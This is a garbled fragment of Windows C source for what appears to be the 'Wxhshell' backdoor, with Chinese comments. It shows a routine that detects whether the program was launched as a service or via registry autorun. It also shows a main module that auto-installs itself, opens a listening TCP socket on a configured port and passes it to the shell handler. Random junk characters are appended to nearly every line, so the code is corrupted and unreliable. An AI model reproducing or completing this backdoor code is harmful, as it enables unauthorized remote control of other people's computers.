DWORD AffinityMask; 6QbDU[
DWORD BasePriority;
KN`k+!@/7
ULONG UniqueProcessId; -6s:D/t1'
ULONG InheritedFromUniqueProcessId; jll:Rh(b
} PROCESS_BASIC_INFORMATION; ,>7dIJqzw
"0[`U(/
PROCNTQSIP NtQueryInformationProcess; a^@.C5
<I
tS_/z
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; f_[dFKoX
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; u/6if9B
9N)I\lcY
HANDLE hProcess; Qkx*T9W
PROCESS_BASIC_INFORMATION pbi; %_4#WI
kk6
!krZ
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); T$%QK?B
if(NULL == hInst ) return 0; S`zu.8%5
8a)Brl}u
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); B=~y(Mb
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); y&5
O)
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); .R"VLE|
T)7U+~nQ"
if (!NtQueryInformationProcess) return 0; >!s<JKhI
D6Aa5&rO+
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); =<p=?16
x
if(!hProcess) return 0; BO7HJF)a
P(b[|QF
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 0RMW>v/7kL
_.V5-iN
CloseHandle(hProcess); YX-j|m|
4c 8{AZ
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); l1'v`!
if(hProcess==NULL) return 0; 9?O8j1F
kBcTXl
HMODULE hMod; ]bh%pn
char procName[255]; cl`Wl/Q#
unsigned long cbNeeded; >.`*KQdan
vr4r,[B6y
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); E~fb#6
gggD "alDx
CloseHandle(hProcess); 2XeyNX
|e2s\?nB0S
if(strstr(procName,"services")) return 1; // 以服务启动 m!w|~Rk
' *a}*(0OA
return 0; // 注册表启动 W-#DEU 7_
} 'q$ Ym0nL
.#SgU<Wq
// 主模块 1~K'r&
int StartWxhshell(LPSTR lpCmdLine) Bt}90#
{ cpP}NJb0;%
SOCKET wsl; S9}I
BOOL val=TRUE; y.D+M$f
int port=0; gs3(B/";c
struct sockaddr_in door; z=U+FHdh/-
W0 sLMHq
if(wscfg.ws_autoins) Install(); UH%H9;
,$]
E9j<+Ik
port=atoi(lpCmdLine); -_5Dk'R#`
ZM -P
if(port<=0) port=wscfg.ws_port; :2S?|7U4
T%6JVFD
WSADATA data; "X2'k@s`
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; kOD=H-vSi
8}:$=n4&
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; D|)_c1g
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); lCp6UkE
door.sin_family = AF_INET; C/Z#NP~ *
door.sin_addr.s_addr = inet_addr("127.0.0.1"); ;BH.,{*@B
door.sin_port = htons(port); .G\](%
wods
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { /KOI%x
closesocket(wsl); 9M27;"gK
return 1; YFJaf"?8g
} 57{T
p:|
d%qi~koN_
if(listen(wsl,2) == INVALID_SOCKET) { d}:-Q?
closesocket(wsl); o^X3YaS)
return 1; 9|<Li[
} ^Z9bA( w8
Wxhshell(wsl); J+IItO4%
WSACleanup(); f<